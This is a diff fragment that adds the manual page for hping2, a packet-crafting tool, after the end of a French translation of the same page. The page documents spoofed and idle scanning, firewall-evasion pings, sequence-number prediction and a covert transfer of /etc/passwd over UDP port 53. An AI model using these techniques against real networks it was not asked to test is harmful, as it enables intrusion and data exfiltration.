Les données sont lues sans tenir compte de l'alignement,
|
||||||
|
mais l'alignement est imposé dans les structures de
|
||||||
|
données. Ceci ne sera pas un problème sous i386 mais,
|
||||||
|
alors que normalement les entêtes TCP/IP sont naturelle
|
||||||
|
ment alignées, cela peut créer des problèmes avec divers
|
||||||
|
processeurs et des paquets mal-formés si il y a des accès
|
||||||
|
non alignés quelque part dans le code (aucun avec un peu
|
||||||
|
de chance).
|
||||||
|
|
||||||
|
Sur Solaris hping ne fonctionne pas sur l'interface loop
|
||||||
|
back. Ceci semble être un problème solaris, comme exposé
|
||||||
|
dans la liste de diffusion tcpdump-workers, ainsi la libp
|
||||||
|
cap ne peut rien faire pour la supporter correctement.
|
||||||
|
|
||||||
|
VOIR AUSSI
|
||||||
|
ping(8), traceroute(8), ifconfig(8), nmap(1)
|
||||||
|
|
||||||
|
TRADUCTEUR
|
||||||
|
Denis Ducamp <Denis.Ducamp@groar.org>
|
||||||
|
|
||||||
|
2001 Aug 14 HPING2(8)
|
738
docs/hping2.8
Normal file
738
docs/hping2.8
Normal file
@ -0,0 +1,738 @@
|
|||||||
|
.TH HPING2 8 "2001 Aug 14"
|
||||||
|
.SH NAME
|
||||||
|
hping6 \- send (almost) arbitrary TCP/IP packets to network hosts
|
||||||
|
.SH SYNOPSIS
|
||||||
|
.B hping6
|
||||||
|
[
|
||||||
|
.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG6
|
||||||
|
] [
|
||||||
|
.B \-c
|
||||||
|
.I count
|
||||||
|
] [
|
||||||
|
.B \-i
|
||||||
|
.I wait
|
||||||
|
] [
|
||||||
|
.B \-\-fast
|
||||||
|
] [
|
||||||
|
.B \-I
|
||||||
|
.I interface
|
||||||
|
] [
|
||||||
|
.B \--lhs
|
||||||
|
.I bytes
|
||||||
|
] [
|
||||||
|
.B \-9
|
||||||
|
.I signature
|
||||||
|
] [
|
||||||
|
.B \-a
|
||||||
|
.I host
|
||||||
|
] [
|
||||||
|
.B \-t
|
||||||
|
.I ttl
|
||||||
|
] [
|
||||||
|
.B \-N
|
||||||
|
.I ip id
|
||||||
|
] [
|
||||||
|
.B \-H
|
||||||
|
.I ip protocol
|
||||||
|
] [
|
||||||
|
.B \-g
|
||||||
|
.I fragoff
|
||||||
|
] [
|
||||||
|
.B \-m
|
||||||
|
.I mtu
|
||||||
|
] [
|
||||||
|
.B \-o
|
||||||
|
.I tos
|
||||||
|
] [
|
||||||
|
.B \-C
|
||||||
|
.I icmp type
|
||||||
|
] [
|
||||||
|
.B \-K
|
||||||
|
.I icmp code
|
||||||
|
] [
|
||||||
|
.B \-s
|
||||||
|
.I source port
|
||||||
|
] [
|
||||||
|
.B \-p[+][+]
|
||||||
|
.I dest port
|
||||||
|
] [
|
||||||
|
.B \-w
|
||||||
|
.I tcp window
|
||||||
|
] [
|
||||||
|
.B \-O
|
||||||
|
.I tcp offset
|
||||||
|
] [
|
||||||
|
.B \-M
|
||||||
|
.I tcp sequence number
|
||||||
|
] [
|
||||||
|
.B \-L
|
||||||
|
.I tcp ack
|
||||||
|
] [
|
||||||
|
.B \-d
|
||||||
|
.I data size
|
||||||
|
] [
|
||||||
|
.B \-E
|
||||||
|
.I filename
|
||||||
|
] [
|
||||||
|
.B \-e
|
||||||
|
.I signature
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ipver
|
||||||
|
.I version
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-iphlen
|
||||||
|
.I length
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-iplen
|
||||||
|
.I length
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ipid
|
||||||
|
.I id
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ipproto
|
||||||
|
.I protocol
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-cksum
|
||||||
|
.I checksum
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-ts
|
||||||
|
] [
|
||||||
|
.B \-\-icmp\-addr
|
||||||
|
] [
|
||||||
|
.B \-\-tcpexitcode
|
||||||
|
] [
|
||||||
|
.B \-\-tcp-timestamp
|
||||||
|
] [
|
||||||
|
.B \-\-tr-stop
|
||||||
|
] [
|
||||||
|
.B \-\-tr-keep-ttl
|
||||||
|
] [
|
||||||
|
.B \-\-tr-no-rtt
|
||||||
|
] [
|
||||||
|
.B \-\-rand-dest
|
||||||
|
] [
|
||||||
|
.B \-\-rand-source
|
||||||
|
] [
|
||||||
|
.B \-\-bps
|
||||||
|
.I bitrate
|
||||||
|
] [
|
||||||
|
.B \-\-pps
|
||||||
|
.I packetrate
|
||||||
|
]
|
||||||
|
hostname
|
||||||
|
.br
|
||||||
|
.ad
|
||||||
|
.SH DESCRIPTION
|
||||||
|
hping2 is a network tool able to send custom TCP/IP packets and to
|
||||||
|
display target replies like ping program does with ICMP replies. hping2
|
||||||
|
handle fragmentation, arbitrary packets body and size and can be used in
|
||||||
|
order to transfer files encapsulated under supported protocols. Using
|
||||||
|
hping2 you are able to perform at least the following stuff:
|
||||||
|
|
||||||
|
- Test firewall rules
|
||||||
|
- Advanced port scanning
|
||||||
|
- Test net performance using different protocols,
|
||||||
|
packet size, TOS (type of service) and fragmentation.
|
||||||
|
- Path MTU discovery
|
||||||
|
- Transferring files between even really fascist firewall
|
||||||
|
rules.
|
||||||
|
- Traceroute-like under different protocols.
|
||||||
|
- Firewalk-like usage.
|
||||||
|
- Remote OS fingerprinting.
|
||||||
|
- TCP/IP stack auditing.
|
||||||
|
- A lot of others.
|
||||||
|
|
||||||
|
.IR "It's also a good didactic tool to learn TCP/IP" .
|
||||||
|
hping2 is developed and maintained by antirez@invece.org and is
|
||||||
|
licensed under GPL version 2. Development is open so you can send
|
||||||
|
me patches, suggestion and affronts without inhibitions.
|
||||||
|
.SH HPING SITE
|
||||||
|
primary site at
|
||||||
|
.BR http://www.hping.org .
|
||||||
|
You can found both the stable release and the instruction
|
||||||
|
to download the latest source code at http://www.hping.org/download.html
|
||||||
|
.SH BASE OPTIONS
|
||||||
|
.TP
|
||||||
|
.I -h --help
|
||||||
|
Show an help screen on standard output, so you can pipe to less.
|
||||||
|
.TP
|
||||||
|
.I -v --version
|
||||||
|
Show version information and API used to access to data link layer,
|
||||||
|
.I linux sock packet
|
||||||
|
or
|
||||||
|
.IR libpcap.
|
||||||
|
.TP
|
||||||
|
.I -c --count count
|
||||||
|
Stop after sending (and receiving)
|
||||||
|
.I count
|
||||||
|
response packets. After last packet was send hping2 wait COUNTREACHED_TIMEOUT
|
||||||
|
seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing
|
||||||
|
hping2.h
|
||||||
|
.TP
|
||||||
|
.I -i --interval
|
||||||
|
Wait
|
||||||
|
the specified number of seconds or micro seconds between sending each packet.
|
||||||
|
--interval X set
|
||||||
|
.I wait
|
||||||
|
to X seconds, --interval uX set
|
||||||
|
.I wait
|
||||||
|
to X micro seconds.
|
||||||
|
The default is to wait
|
||||||
|
one second between each packet. Using hping2 to transfer files tune this
|
||||||
|
option is really important in order to increase transfer rate. Even using
|
||||||
|
hping2 to perform idle/spoofing scanning you should tune this option, see
|
||||||
|
.B HPING2-HOWTO
|
||||||
|
for more information.
|
||||||
|
.TP
|
||||||
|
.I --fast
|
||||||
|
Alias for -i u10000. Hping will send 10 packets for second.
|
||||||
|
.TP
|
||||||
|
.I --faster
|
||||||
|
Alias for -i u1. Faster than --fast ;) (but not as fast as your computer can send packets due to the signal-driven design).
|
||||||
|
.TP
|
||||||
|
.I --bps bitrate
|
||||||
|
Send bitrate bits per second, no response packet checking.
|
||||||
|
.TP
|
||||||
|
.I --pps packetrate
|
||||||
|
Send packetrate packets per second, no response packet checking.
|
||||||
|
.TP
|
||||||
|
.I -n --numeric
|
||||||
|
Numeric output only, No attempt will be made to lookup symbolic names for host addresses.
|
||||||
|
.TP
|
||||||
|
.I -q --quiet
|
||||||
|
Quiet output. Nothing is displayed except the summary lines at
|
||||||
|
startup time and when finished.
|
||||||
|
.TP
|
||||||
|
.I -I --interface interface name
|
||||||
|
By default on linux and BSD systems hping2 uses default routing interface.
|
||||||
|
In other systems or when there is no default route
|
||||||
|
hping2 uses the first non-loopback interface.
|
||||||
|
However you are able to force hping2 to use the interface you need using
|
||||||
|
this option. Note: you don't need to specify the whole name, for
|
||||||
|
example -I et will match eth0 ethernet0 myet1 et cetera. If no interfaces
|
||||||
|
match hping2 will try to use lo.
|
||||||
|
.TP
|
||||||
|
.I --lhs bytes
|
||||||
|
Override the automatically detected link header size.
|
||||||
|
.TP
|
||||||
|
.I -V --verbose
|
||||||
|
Enable verbose output. TCP replies will be shown as follows:
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
|
||||||
|
tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
|
||||||
|
.TP
|
||||||
|
.I -D --debug
|
||||||
|
Enable debug mode, it's useful when you experience some problem with
|
||||||
|
hping2. When debug mode is enabled you will get more information about
|
||||||
|
.B interface detection, data link layer access, interface settings, options
|
||||||
|
.B parsing, fragmentation, HCMP protocol
|
||||||
|
and other stuff.
|
||||||
|
.TP
|
||||||
|
.I -z --bind
|
||||||
|
Bind CTRL+Z to
|
||||||
|
.B time to live (TTL)
|
||||||
|
so you will able to increment/decrement ttl of outgoing packets pressing
|
||||||
|
CTRL+Z once or twice.
|
||||||
|
.TP
|
||||||
|
.I -Z --unbind
|
||||||
|
Unbind CTRL+Z so you will able to stop hping2.
|
||||||
|
.SH PROTOCOL SELECTION
|
||||||
|
Default protocol is TCP, by default hping2 will send tcp headers to target
|
||||||
|
host's port 0 with a winsize of 64 without any tcp flag on. Often this
|
||||||
|
is the best way to do an 'hide ping', useful when target is behind
|
||||||
|
a firewall that drop ICMP. Moreover a tcp null-flag to port 0 has a good
|
||||||
|
probability of not being logged.
|
||||||
|
.TP
|
||||||
|
.I -0 --rawip
|
||||||
|
RAW IP mode, in this mode hping2 will send IP header with data
|
||||||
|
appended with --signature and/or --file, see also --ipproto that
|
||||||
|
allows you to set the ip protocol field.
|
||||||
|
.TP
|
||||||
|
.I -1 --icmp
|
||||||
|
ICMP mode, by default hping2 will send ICMP echo-request, you can set
|
||||||
|
other ICMP type/code using
|
||||||
|
.B --icmptype --icmpcode
|
||||||
|
options.
|
||||||
|
.TP
|
||||||
|
.I -2 --udp
|
||||||
|
UDP mode, by default hping2 will send udp to target host's port 0.
|
||||||
|
UDP header tunable options are the following:
|
||||||
|
.B --baseport, --destport, --keep.
|
||||||
|
.TP
|
||||||
|
.I -6 --ipv6
|
||||||
|
IPv6 mode.
|
||||||
|
.TP
|
||||||
|
.I -8 --scan
|
||||||
|
Scan mode, the option expects an argument that describes groups of
|
||||||
|
ports to scan. port groups are comma separated: a number describes
|
||||||
|
just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified
|
||||||
|
using a start-end notation, like 1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word
|
||||||
|
.B all
|
||||||
|
is an alias for 0-65535, while the special word
|
||||||
|
.B known
|
||||||
|
includes all the ports listed in /etc/services.
|
||||||
|
.br
|
||||||
|
Groups can be combined, so the following command line will
|
||||||
|
scan ports between 1 and 1000 AND port 8888 AND ports listed in /etc/services:
|
||||||
|
.B hping --scan 1-1000,8888,known -S target.host.com
|
||||||
|
.br
|
||||||
|
Groups can be negated (subtracted) using a ! character as prefix,
|
||||||
|
so the following command line will scan all the ports NOT listed
|
||||||
|
in /etc/services in the range 1-1024:
|
||||||
|
.B hping --scan '1-1024,!known' -S target.host.com
|
||||||
|
.br
|
||||||
|
Keep in mind that while hping seems much more like a port scanner in
|
||||||
|
this mode, most of the hping switches are still honored, so for example to
|
||||||
|
perform a SYN scan you need to specify the
|
||||||
|
.B -S
|
||||||
|
option, you can change the TCP windows size, TTL, control the
|
||||||
|
IP fragmentation as usually, and so on. The only real difference is that
|
||||||
|
the standard hping behaviors are encapsulated into a scanning
|
||||||
|
algorithm.
|
||||||
|
.br
|
||||||
|
.BR "Tech note" :
|
||||||
|
The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is still not optimal, but already quite fast.
|
||||||
|
.br
|
||||||
|
.BR Hint :
|
||||||
|
unlike most scanners, hping shows some interesting info about received
|
||||||
|
packets, the IP ID, TCP win, TTL, and so on, don't forget to look
|
||||||
|
at this additional information when you perform a scan! Sometimes they
|
||||||
|
shows interesting details.
|
||||||
|
.TP
|
||||||
|
.I -9 --listen signature
|
||||||
|
HPING2 listen mode, using this option hping2 waits for packet that contain
|
||||||
|
.I signature
|
||||||
|
and dump from
|
||||||
|
.I signature
|
||||||
|
end to packet's end. For example if hping2 --listen TEST reads a packet
|
||||||
|
that contain
|
||||||
|
.B 234-09sdflkjs45-TESThello_world
|
||||||
|
it will display
|
||||||
|
.BR hello_world .
|
||||||
|
.SH IP RELATED OPTIONS
|
||||||
|
.TP
|
||||||
|
.I -a --spoof hostname
|
||||||
|
Use this option in order to set a fake IP source address, this option
|
||||||
|
ensures that target will not gain your real address. However replies
|
||||||
|
will be sent to spoofed address, so you will can't see them. In order
|
||||||
|
to see how it's possible to perform spoofed/idle scanning see the
|
||||||
|
.BR HPING2-HOWTO .
|
||||||
|
.TP
|
||||||
|
.I --rand-source
|
||||||
|
This option enables the
|
||||||
|
.BR "random source mode" .
|
||||||
|
hping will send packets with random source address. It is interesting
|
||||||
|
to use this option to stress firewall state tables, and other
|
||||||
|
per-ip basis dynamic tables inside the TCP/IP stacks and firewall
|
||||||
|
software.
|
||||||
|
.TP
|
||||||
|
.I --rand-dest
|
||||||
|
This option enables the
|
||||||
|
.BR "random destination mode" .
|
||||||
|
hping will send the packets to random addresses obtained following
|
||||||
|
the rule you specify as the target host. You need to specify
|
||||||
|
a numerical IP address as target host like
|
||||||
|
.BR 10.0.0.x .
|
||||||
|
All the occurrences of
|
||||||
|
.B x
|
||||||
|
will be replaced with a random number in the range 0-255. So to obtain
|
||||||
|
Internet IP addresses in the whole IPv4 space use something like
|
||||||
|
.BR "hping x.x.x.x --rand-dest" .
|
||||||
|
If you are not sure about what kind of addresses your rule is generating
|
||||||
|
try to use the
|
||||||
|
.B --debug
|
||||||
|
switch to display every new destination address generated.
|
||||||
|
When this option is turned on, matching packets will be accept from all
|
||||||
|
the destinations.
|
||||||
|
.br
|
||||||
|
.BR Warning :
|
||||||
|
when this option is enabled hping can't detect the right outgoing
|
||||||
|
interface for the packets, so you should use the
|
||||||
|
.B --interface
|
||||||
|
option to select the desired outgoing interface.
|
||||||
|
.TP
|
||||||
|
.I -t --ttl time to live
|
||||||
|
Using this option you can set
|
||||||
|
.B TTL (time to live)
|
||||||
|
of outgoing packets, it's likely that you will use this with
|
||||||
|
.B --traceroute
|
||||||
|
or
|
||||||
|
.B --bind
|
||||||
|
options. If in doubt try
|
||||||
|
.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'."
|
||||||
|
.TP
|
||||||
|
.I -N --id
|
||||||
|
Set ip->id field. Default id is random but if fragmentation is turned on
|
||||||
|
and id isn't specified it will be
|
||||||
|
.BR "getpid() & 0xFF" ,
|
||||||
|
to implement a better solution is in TODO list.
|
||||||
|
.TP
|
||||||
|
.I -H --ipproto
|
||||||
|
Set the ip protocol in RAW IP mode.
|
||||||
|
.TP
|
||||||
|
.I -W --winid
|
||||||
|
id from Windows* systems before Win2k has different byte ordering, if this
|
||||||
|
option is enable
|
||||||
|
hping2 will properly display id replies from those Windows.
|
||||||
|
.TP
|
||||||
|
.I -r --rel
|
||||||
|
Display id increments instead of id. See the
|
||||||
|
.B HPING2-HOWTO
|
||||||
|
for more information. Increments aren't computed as id[N]-id[N-1] but
|
||||||
|
using packet loss compensation. See relid.c for more information.
|
||||||
|
.TP
|
||||||
|
.I -f --frag
|
||||||
|
Split packets in more fragments, this may be useful in order to test
|
||||||
|
IP stacks fragmentation performance and to test if some
|
||||||
|
packet filter is so weak that can be passed using tiny fragments
|
||||||
|
(anachronistic). Default 'virtual mtu' is 16 bytes. see also
|
||||||
|
.I --mtu
|
||||||
|
option.
|
||||||
|
.TP
|
||||||
|
.I -x --morefrag
|
||||||
|
Set more fragments IP flag, use this option if you want that target
|
||||||
|
host send an
|
||||||
|
.BR "ICMP time-exceeded during reassembly" .
|
||||||
|
.TP
|
||||||
|
.I -y --dontfrag
|
||||||
|
Set don't fragment IP flag, this can be used to perform
|
||||||
|
.BR "MTU path discovery" .
|
||||||
|
.TP
|
||||||
|
.I -g --fragoff fragment offset value
|
||||||
|
Set the fragment offset.
|
||||||
|
.TP
|
||||||
|
.I -m --mtu mtu value
|
||||||
|
Set different 'virtual mtu' than 16 when fragmentation is enabled. If
|
||||||
|
packets size is greater that 'virtual mtu' fragmentation is automatically
|
||||||
|
turned on.
|
||||||
|
.TP
|
||||||
|
.I -o --tos hex_tos
|
||||||
|
Set
|
||||||
|
.BR "Type Of Service (TOS)" ,
|
||||||
|
for more information try
|
||||||
|
.BR "--tos help" .
|
||||||
|
.TP
|
||||||
|
.I -G --rroute
|
||||||
|
Record route. Includes the RECORD_ROUTE option in each packet sent and
|
||||||
|
displays the route buffer of returned packets. Note that the IP header
|
||||||
|
is only large enough for nine such routes. Many hosts ignore or discard
|
||||||
|
this option. Also note that using hping you are able to use record route
|
||||||
|
even if target host filter ICMP. Record route is an IP option, not
|
||||||
|
an ICMP option, so you can use record route option even in TCP and UDP
|
||||||
|
mode.
|
||||||
|
.SH ICMP RELATED OPTIONS
|
||||||
|
.TP
|
||||||
|
.I -C --icmptype type
|
||||||
|
Set icmp type, default is
|
||||||
|
.B ICMP echo request
|
||||||
|
(implies --icmp).
|
||||||
|
.TP
|
||||||
|
.I -K --icmpcode code
|
||||||
|
Set icmp code, default is 0 (implies --icmp).
|
||||||
|
.TP
|
||||||
|
.I --icmp-ipver
|
||||||
|
Set IP version of IP header contained into ICMP data, default is 4.
|
||||||
|
.TP
|
||||||
|
.I --icmp-iphlen
|
||||||
|
Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits).
|
||||||
|
.TP
|
||||||
|
.I --icmp-iplen
|
||||||
|
Set IP packet length of IP header contained into ICMP data, default is the real
|
||||||
|
length.
|
||||||
|
.TP
|
||||||
|
.I --icmp-ipid
|
||||||
|
Set IP id of IP header contained into ICMP data, default is random.
|
||||||
|
.TP
|
||||||
|
.I --icmp-ipproto
|
||||||
|
Set IP protocol of IP header contained into ICMP data, default is TCP.
|
||||||
|
.TP
|
||||||
|
.I --icmp-cksum
|
||||||
|
Set ICMP checksum, for default is the valid checksum.
|
||||||
|
.TP
|
||||||
|
.I --icmp-ts
|
||||||
|
Alias for --icmptype 13 (to send ICMP timestamp requests).
|
||||||
|
.TP
|
||||||
|
.I --icmp-addr
|
||||||
|
Alias for --icmptype 17 (to send ICMP address mask requests).
|
||||||
|
.SH TCP/UDP RELATED OPTIONS
|
||||||
|
.TP
|
||||||
|
.I -s --baseport source port
|
||||||
|
hping2 uses source port in order to guess replies sequence number. It
|
||||||
|
starts with a base source port number, and increase this number for each
|
||||||
|
packet sent. When packet is received sequence number can be computed as
|
||||||
|
.IR "replies.dest.port - base.source.port" .
|
||||||
|
Default base source port is random, using this option you are able to
|
||||||
|
set different number. If you need that source port not be increased for
|
||||||
|
each sent packet use the
|
||||||
|
.I -k --keep
|
||||||
|
option.
|
||||||
|
.TP
|
||||||
|
.I -p --destport [+][+]dest port
|
||||||
|
Set destination port, default is 0. If '+' character precedes dest port
|
||||||
|
number (i.e. +1024) destination port will be increased for each reply
|
||||||
|
received. If double '+' precedes dest port number (i.e. ++1024), destination
|
||||||
|
port will be increased for each packet sent.
|
||||||
|
By default destination port can be modified interactively using
|
||||||
|
.BR CTRL+z .
|
||||||
|
.TP
|
||||||
|
.I --keep
|
||||||
|
keep still source port, see
|
||||||
|
.I --baseport
|
||||||
|
for more information.
|
||||||
|
.TP
|
||||||
|
.I -w --win
|
||||||
|
Set TCP window size. Default is 64.
|
||||||
|
.TP
|
||||||
|
.I -O --tcpoff
|
||||||
|
Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
|
||||||
|
.TP
|
||||||
|
.I -M --setseq
|
||||||
|
Set the TCP sequence number.
|
||||||
|
.TP
|
||||||
|
.I -L --setack
|
||||||
|
Set the TCP ack.
|
||||||
|
.TP
|
||||||
|
.I -Q --seqnum
|
||||||
|
This option can be used in order to collect sequence numbers generated
|
||||||
|
by target host. This can be useful when you need to analyze whether
|
||||||
|
TCP sequence number is predictable. Output example:
|
||||||
|
|
||||||
|
.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
|
||||||
|
.nf
|
||||||
|
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
|
||||||
|
2361294848 +2361294848
|
||||||
|
2411626496 +50331648
|
||||||
|
2545844224 +134217728
|
||||||
|
2713616384 +167772160
|
||||||
|
2881388544 +167772160
|
||||||
|
3049160704 +167772160
|
||||||
|
3216932864 +167772160
|
||||||
|
3384705024 +167772160
|
||||||
|
3552477184 +167772160
|
||||||
|
3720249344 +167772160
|
||||||
|
3888021504 +167772160
|
||||||
|
4055793664 +167772160
|
||||||
|
4223565824 +167772160
|
||||||
|
.fi
|
||||||
|
|
||||||
|
The first column reports the sequence number, the second difference
|
||||||
|
between current and last sequence number. As you can see target host's sequence
|
||||||
|
numbers are predictable.
|
||||||
|
.TP
|
||||||
|
.I -b --badcksum
|
||||||
|
Send packets with a bad UDP/TCP checksum.
|
||||||
|
.TP
|
||||||
|
.I --tcp-timestamp
|
||||||
|
Enable the TCP timestamp option, and try to guess the timestamp update
|
||||||
|
frequency and the remote system uptime.
|
||||||
|
.TP
|
||||||
|
.I -F --fin
|
||||||
|
Set FIN tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -S --syn
|
||||||
|
Set SYN tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -R --rst
|
||||||
|
Set RST tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -P --push
|
||||||
|
Set PUSH tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -A --ack
|
||||||
|
Set ACK tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -U --urg
|
||||||
|
Set URG tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -X --xmas
|
||||||
|
Set Xmas tcp flag.
|
||||||
|
.TP
|
||||||
|
.I -Y --ymas
|
||||||
|
Set Ymas tcp flag.
|
||||||
|
.SH COMMON OPTIONS
|
||||||
|
.TP
|
||||||
|
.I -d --data data size
|
||||||
|
Set packet body size. Warning, using --data 40 hping2 will not generate
|
||||||
|
0 byte packets but protocol_header+40 bytes. hping2 will display
|
||||||
|
packet size information as first line output, like this:
|
||||||
|
.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes
|
||||||
|
.TP
|
||||||
|
.I -E --file filename
|
||||||
|
Use
|
||||||
|
.B filename
|
||||||
|
contents to fill packet's data.
|
||||||
|
.TP
|
||||||
|
.I -e --sign signature
|
||||||
|
Fill first
|
||||||
|
.I signature length
|
||||||
|
bytes of data with
|
||||||
|
.IR signature .
|
||||||
|
If the
|
||||||
|
.I signature length
|
||||||
|
is bigger than data size an error message will be displayed.
|
||||||
|
If you don't specify the data size hping will use the signature
|
||||||
|
size as data size.
|
||||||
|
This option can be used safely with
|
||||||
|
.I --file filename
|
||||||
|
option, remainder data space will be filled using
|
||||||
|
.IR filename .
|
||||||
|
.TP
|
||||||
|
.I -j --dump
|
||||||
|
Dump received packets in hex.
|
||||||
|
.TP
|
||||||
|
.I -J --print
|
||||||
|
Dump received packets' printable characters.
|
||||||
|
.TP
|
||||||
|
.I -B --safe
|
||||||
|
Enable safe protocol, using this option lost packets in file transfers
|
||||||
|
will be resent. For example in order to send file /etc/passwd from host
|
||||||
|
A to host B you may use the following:
|
||||||
|
.nf
|
||||||
|
.I [host_a]
|
||||||
|
.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
|
||||||
|
.I [host_b]
|
||||||
|
.B # hping2 host_a --listen signature --safe --icmp
|
||||||
|
.fi
|
||||||
|
.TP
|
||||||
|
.I -u --end
|
||||||
|
If you are using
|
||||||
|
.I --file filename
|
||||||
|
option, tell you when EOF has been reached. Moreover prevent that other end
|
||||||
|
accept more packets. Please, for more information see the
|
||||||
|
.BR HPING2-HOWTO .
|
||||||
|
.TP
|
||||||
|
.I -T --traceroute
|
||||||
|
Traceroute mode. Using this option hping2 will increase ttl for each
|
||||||
|
.B ICMP time to live 0 during transit
|
||||||
|
received. Try
|
||||||
|
.BR "hping2 host --traceroute" .
|
||||||
|
This option implies --bind and --ttl 1. You can override the ttl of 1
|
||||||
|
using the --ttl option. Since 2.0.0 stable it prints RTT information.
|
||||||
|
.TP
|
||||||
|
.I --tr-keep-ttl
|
||||||
|
Keep the TTL fixed in traceroute mode, so you can monitor just one hop
|
||||||
|
in the route. For example, to monitor how the 5th hop changes or
|
||||||
|
how its RTT changes you can try
|
||||||
|
.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" .
|
||||||
|
.TP
|
||||||
|
.I --tr-stop
|
||||||
|
If this option is specified hping will exit once the first packet
|
||||||
|
that isn't an ICMP time exceeded is received. This better emulates
|
||||||
|
the traceroute behavior.
|
||||||
|
.TP
|
||||||
|
.I --tr-no-rtt
|
||||||
|
Don't show RTT information in traceroute mode. The ICMP time exceeded RTT
|
||||||
|
information aren't even calculated if this option is set.
|
||||||
|
.TP
|
||||||
|
.I --tcpexitcode
|
||||||
|
Exit with last received packet tcp->th_flag as exit code. Useful for scripts
|
||||||
|
that need, for example, to known if the port 999 of some host reply with
|
||||||
|
SYN/ACK or with RST in response to SYN, i.e. the service is up or down.
|
||||||
|
.SH TCP OUTPUT FORMAT
|
||||||
|
The standard TCP output format is the following:
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
|
||||||
|
|
||||||
|
.B len
|
||||||
|
is the size, in bytes, of the data captured from the data link layer
|
||||||
|
excluding the data link header size. This may not match the IP datagram
|
||||||
|
size due to low level transport layer padding.
|
||||||
|
|
||||||
|
.B ip
|
||||||
|
is the source ip address.
|
||||||
|
|
||||||
|
.B flags
|
||||||
|
are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN,
|
||||||
|
P for PUSH, U for URGENT, X for not standard 0x40, Y for not standard
|
||||||
|
0x80.
|
||||||
|
|
||||||
|
If the reply contains
|
||||||
|
.B DF
|
||||||
|
the IP header has the don't fragment bit set.
|
||||||
|
|
||||||
|
.B seq
|
||||||
|
is the sequence number of the packet, obtained using the source
|
||||||
|
port for TCP/UDP packets, the sequence field for ICMP packets.
|
||||||
|
|
||||||
|
.B id
|
||||||
|
is the IP ID field.
|
||||||
|
|
||||||
|
.B win
|
||||||
|
is the TCP window size.
|
||||||
|
|
||||||
|
.B rtt
|
||||||
|
is the round trip time in milliseconds.
|
||||||
|
|
||||||
|
If you run hping using the
|
||||||
|
.B -V
|
||||||
|
command line switch it will display additional information about the
|
||||||
|
packet, example:
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
|
||||||
|
tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0
|
||||||
|
|
||||||
|
.B tos
|
||||||
|
is the type of service field of the IP header.
|
||||||
|
|
||||||
|
.B iplen
|
||||||
|
is the IP total len field.
|
||||||
|
|
||||||
|
.B seq and ack
|
||||||
|
are the sequence and acknowledge 32bit numbers in the TCP header.
|
||||||
|
|
||||||
|
.B sum
|
||||||
|
is the TCP header checksum value.
|
||||||
|
|
||||||
|
.B urp
|
||||||
|
is the TCP urgent pointer value.
|
||||||
|
|
||||||
|
.SH UDP OUTPUT FORMAT
|
||||||
|
|
||||||
|
The standard output format is:
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
|
||||||
|
|
||||||
|
The field meaning is just the same as the TCP output meaning of the
|
||||||
|
same fields.
|
||||||
|
|
||||||
|
.SH ICMP OUTPUT FORMAT
|
||||||
|
|
||||||
|
An example of ICMP output is:
|
||||||
|
|
||||||
|
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
|
||||||
|
|
||||||
|
It is very simple to understand. It starts with the string "ICMP"
|
||||||
|
followed by the description of the ICMP error, Port Unreachable
|
||||||
|
in the example. The ip field is the IP source address of the IP
|
||||||
|
datagram containing the ICMP error, the name field is just the
|
||||||
|
numerical address resolved to a name (a dns PTR request) or UNKNOWN if the
|
||||||
|
resolution failed.
|
||||||
|
|
||||||
|
The ICMP Time exceeded during transit or reassembly format is a bit
|
||||||
|
different:
|
||||||
|
|
||||||
|
TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net
|
||||||
|
|
||||||
|
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
|
||||||
|
|
||||||
|
The only difference is the description of the error, it starts with
|
||||||
|
TTL 0.
|
||||||
|
|
||||||
|
.SH AUTHOR
|
||||||
|
Salvatore Sanfilippo <antirez@invece.org>, with the help of the people mentioned in AUTHORS file and at http://www.hping.org/authors.html
|
||||||
|
.SH BUGS
|
||||||
|
Even using the --end and --safe options to transfer files the final packet
|
||||||
|
will be padded with 0x00 bytes.
|
||||||
|
.PP
|
||||||
|
Data is read without care about alignment, but alignment is enforced
|
||||||
|
in the data structures.
|
||||||
|
This will not be a problem under i386 but, while usually the TCP/IP
|
||||||
|
headers are naturally aligned, may create problems with different
|
||||||
|
processors and bogus packets if there is some unaligned access around
|
||||||
|
the code (hopefully none).
|
||||||
|
